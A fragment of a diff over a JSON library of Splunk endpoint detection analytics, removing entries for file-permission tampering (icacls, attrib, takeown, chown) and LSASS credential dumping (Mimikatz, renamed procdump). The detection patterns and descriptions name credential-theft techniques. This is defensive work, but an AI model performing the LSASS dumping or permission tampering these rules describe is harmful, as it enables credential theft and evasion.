"role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An excessive amount of $process_name$ was executed on $dest$ attempting to modify permissions.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Hiding Files And Directories With Attrib exe", - "description": "The following analytic detects the use of the Windows binary attrib.exe to hide files or directories by marking them with specific flags. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line arguments that include the \"+h\" flag. This activity is significant because hiding files can be a tactic used by attackers to conceal malicious files or tools from users and security software. If confirmed malicious, this behavior could allow an attacker to persist in the environment undetected, potentially leading to further compromise or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) values(Processes.process) as process max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=attrib.exe (Processes.process=*+h*) by Processes.parent_process_name Processes.process_name Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` |`hiding_files_and_directories_with_attrib_exe_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Windows Defense Evasion Tactics", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Attrib.exe with +h flag to hide files on $dest$ executed by $user$ is detected.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1222.001", - "mitre_attack_technique": "Windows File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Icacls Deny Command", - "description": "The following analytic detects instances where an adversary modifies security permissions of a file or directory using commands like \"icacls.exe\", \"cacls.exe\", or \"xcacls.exe\" with deny options. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it is commonly used by Advanced Persistent Threats (APTs) and coinminer scripts to evade detection and impede access to critical files. If confirmed malicious, this could allow attackers to maintain persistence and hinder incident response efforts.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN( \"icacls.exe\", \"cacls.exe\", \"xcacls.exe\") AND Processes.process IN (\"*/deny*\", \"*/D*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `icacls_deny_command_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Sandworm Tools", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Process name $process_name$ with deny argument executed by $user$ to change security permission of a specific file or directory on host $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "ICACLS Grant Command", - "description": "The following analytic detects the use of the ICACLS command to grant additional access permissions to files or directories. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific process names and command-line arguments. This activity is significant because it is commonly used by Advanced Persistent Threats (APTs) and coinminer scripts to evade detection and maintain control over compromised systems. If confirmed malicious, this behavior could allow attackers to manipulate file permissions, potentially leading to unauthorized access, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN( \"icacls.exe\", \"cacls.exe\", \"xcacls.exe\") AND Processes.process IN (\"*/grant*\", \"*/G*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `icacls_grant_command_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Process name $process_name$ with grant argument executed by $user$ to change security permission of a specific file or directory on host $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Change File Owner To Root", - "description": "The following analytic detects the use of the 'chown' command to change a file owner to 'root' on a Linux system. It leverages Endpoint Detection and Response (EDR) telemetry, specifically monitoring command-line executions and process details. This activity is significant as it may indicate an attempt to escalate privileges by adversaries, malware, or red teamers. If confirmed malicious, this action could allow an attacker to gain root-level access, leading to full control over the compromised host and potential persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = chown OR Processes.process = \"*chown *\") AND Processes.process = \"* root *\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_change_file_owner_to_root_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may change ownership to root on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222.002", - "mitre_attack_technique": "Linux and Mac File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "Rocke", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Modify ACL permission To Files Or Folder", - "description": "The following analytic detects the modification of ACL permissions to files or folders, making them accessible to everyone. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes like \"cacls.exe,\" \"icacls.exe,\" and \"xcacls.exe\" with specific command-line arguments. This activity is significant as it may indicate an adversary attempting to evade ACLs or access protected files. If confirmed malicious, this could allow unauthorized access to sensitive data, potentially leading to data breaches or further system compromise.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = \"cacls.exe\" OR Processes.process_name = \"icacls.exe\" OR Processes.process_name = \"xcacls.exe\") AND Processes.process = \"*/G*\" AND (Processes.process = \"* everyone:*\" OR Processes.process = \"* SYSTEM:*\" OR Processes.process = \"* S-1-1-0:*\") by Processes.parent_process_name Processes.process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `modify_acl_permission_to_files_or_folder_filter`", - "tags": { - "analytic_story": [ - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious ACL permission modification on $dest$", - "risk_score": 32, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Permission Modification using Takeown App", - "description": "The following analytic detects the modification of file or directory permissions using the takeown.exe Windows application. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include process GUID, process name, and command-line details. This activity is significant because it is a common technique used by ransomware to take ownership of files or folders for encryption or deletion. If confirmed malicious, this could lead to unauthorized access, data encryption, or data destruction, severely impacting the integrity and availability of critical data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"takeown.exe\" Processes.process = \"*/f*\" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.dest Processes.user Processes.process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `permission_modification_using_takeown_app_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious of execution of $process_name$ with process id $process_id$ and commandline $process$ to modify permission of directory or files in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Common Abused Cmd Shell Risk Behavior", - "description": "The following analytic identifies instances where four or more distinct detection analytics are associated with malicious command line behavior on a specific host. This detection leverages the Command Line Interface (CLI) data from various sources to identify suspicious activities. This behavior is significant as it often indicates attempts to execute malicious commands, access sensitive data, install backdoors, or perform other nefarious actions. If confirmed malicious, attackers could gain unauthorized control, exfiltrate information, escalate privileges, or launch further attacks within the network, leading to severe compromise.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where source IN (\"*Cmdline Tool Not Executed In CMD Shell*\", \"*Windows System Network Config Discovery Display DNS*\", \"*Local Account Discovery With Wmic*\", \"*Net Localgroup Discovery*\", \"*Create local admin accounts using net exe*\", \"*Local Account Discovery with Net*\", \"*Icacls Deny Command*\", \"*ICACLS Grant Command*\", \"*Windows Proxy Via Netsh*\", \"*Processes launching netsh*\", \"*Disabling Firewall with Netsh*\", \"*Windows System Network Connections Discovery Netsh*\", \"*Network Connection Discovery With Arp*\", \"*Windows System Discovery Using ldap Nslookup*\", \"*Windows System Shutdown CommandLine*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_common_abused_cmd_shell_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "DarkCrystal RAT", - "Disabling Security Tools", - "FIN7", - "Netsh Abuse", - "Qakbot", - "Sandworm Tools", - "Volt Typhoon", - "Windows Defense Evasion Tactics", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "series of process commandline being abused by threat actor have been identified on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1529", - "mitre_attack_technique": "System Shutdown/Reboot", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Files and Dirs Access Rights Modification Via Icacls", - "description": "The following analytic identifies the modification of security permissions on files or directories using tools like icacls.exe, cacls.exe, or xcacls.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line executions. This activity is significant as it is commonly used by Advanced Persistent Threats (APTs) and coinminer scripts to evade detection and maintain control over compromised systems. If confirmed malicious, this behavior could allow attackers to hinder investigation, impede remediation efforts, and maintain persistent access to the compromised environment.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN( \"icacls.exe\", \"cacls.exe\",\"xcacls.exe\") AND Processes.process IN (\"*:R*\", \"*:W*\", \"*:F*\", \"*:C*\",, \"*:N*\",\"*/P*\", \"*/E*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_files_and_dirs_access_rights_modification_via_icacls_filter`", - "tags": { - "analytic_story": [ - "Amadey" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Process name $process_name$ with access right modification argument executed by $user$ to change security permission of a specific file or directory on host $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222.001", - "mitre_attack_technique": "Windows File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -366279,1450 +260909,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Detect Mimikatz Using Loaded Images", - "description": "This search looks for reading loaded Images unique to credential dumping with Mimikatz. Deprecated because mimikatz libraries changed and very noisy sysmon Event Code.", - "search": "`sysmon` EventCode=7 | stats values(ImageLoaded) as ImageLoaded values(ProcessId) as ProcessId by dest, Image | search ImageLoaded=*WinSCard.dll ImageLoaded=*cryptdll.dll ImageLoaded=*hid.dll ImageLoaded=*samlib.dll ImageLoaded=*vaultcli.dll | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_mimikatz_using_loaded_images_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "CISA AA22-264A", - "CISA AA22-320A", - "Cloud Federated Credential Abuse", - "Credential Dumping", - "DarkSide Ransomware", - "Detect Zerologon Attack", - "Sandworm Tools" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A process, $Image$, has loaded $ImageLoaded$ that are typically related to credential dumping on $dest$. Review for further details.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Detect Mimikatz Via PowerShell And EventCode 4703", - "description": "This search looks for PowerShell requesting privileges consistent with credential dumping. Deprecated, looks like things changed from a logging perspective.", - "search": "`wineventlog_security` signature_id=4703 Process_Name=*powershell.exe | rex field=Message \"Enabled Privileges:\\s+(?\\w+)\\s+Disabled Privileges:\" | where privs=\"SeDebugPrivilege\" | stats count min(_time) as firstTime max(_time) as lastTime by dest, Process_Name, privs, Process_ID, Message | rename privs as \"Enabled Privilege\" | rename Process_Name as process | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_mimikatz_via_powershell_and_eventcode_4703_filter`", - "tags": { - "analytic_story": [ - "Cloud Federated Credential Abuse" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Dump LSASS via procdump Rename", - "description": "Detect a renamed instance of procdump.exe dumping the lsass process. This query looks for both -mm and -ma usage. -mm will produce a mini dump file and -ma will write a dump file with all process memory. Both are highly suspect and should be reviewed. Modify the query as needed.\nDuring triage, confirm this is procdump.exe executing. If it is the first time a Sysinternals utility has been ran, it is possible there will be a -accepteula on the command line. Review other endpoint data sources for cross process (injection) into lsass.exe.", - "search": "`sysmon` OriginalFileName=procdump process_name!=procdump*.exe EventID=1 (CommandLine=*-ma* OR CommandLine=*-mm*) CommandLine=*lsass* | stats count min(_time) as firstTime max(_time) as lastTime by dest, parent_process_name, process_name, OriginalFileName, CommandLine | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `dump_lsass_via_procdump_rename_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "Credential Dumping", - "HAFNIUM Group" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following $process_name$ has been identified as renamed, spawning from $parent_process_name$ on $dest$, attempting to dump lsass.exe.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Unsigned Image Loaded by LSASS", - "description": "This search detects loading of unsigned images by LSASS. Deprecated because too noisy.", - "search": "`sysmon` EventID=7 Image=*lsass.exe Signed=false | stats count min(_time) as firstTime max(_time) as lastTime by dest, Image, ImageLoaded, Signed, SHA1 | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `unsigned_image_loaded_by_lsass_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Access LSASS Memory for Dump Creation", - "description": "The following analytic detects attempts to dump the LSASS process memory, a common technique in credential dumping attacks. It leverages Sysmon logs, specifically EventCode 10, to identify suspicious call traces to dbgcore.dll and dbghelp.dll associated with lsass.exe. This activity is significant as it often precedes the theft of sensitive login credentials, posing a high risk of unauthorized access to systems and data. If confirmed malicious, attackers could gain access to critical credentials, enabling further compromise and lateral movement within the network.", - "search": "`sysmon` EventCode=10 TargetImage=*lsass.exe CallTrace=*dbgcore.dll* OR CallTrace=*dbghelp.dll* | stats count min(_time) as firstTime max(_time) as lastTime by dest, TargetImage, TargetProcessId, SourceImage, SourceProcessId | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `access_lsass_memory_for_dump_creation_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Credential Dumping" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "TargetImage", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "process $SourceImage$ injected into $TargetImage$ and was attempted dump LSASS on $dest$. Adversaries tend to do this when trying to accesss credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Create Remote Thread into LSASS", - "description": "The following analytic detects the creation of a remote thread in the Local Security Authority Subsystem Service (LSASS). This behavior is identified using Sysmon Event ID 8 logs, focusing on processes that create remote threads in lsass.exe. This activity is significant because it is commonly associated with credential dumping, a tactic used by adversaries to steal user authentication credentials. If confirmed malicious, this could allow attackers to gain unauthorized access to sensitive information, leading to potential compromise of the entire network. Analysts should investigate to differentiate between legitimate tools and potential threats.", - "search": "`sysmon` EventID=8 TargetImage=*lsass.exe | stats count min(_time) as firstTime max(_time) as lastTime by dest, EventCode, TargetImage, TargetProcessId | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `create_remote_thread_into_lsass_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - 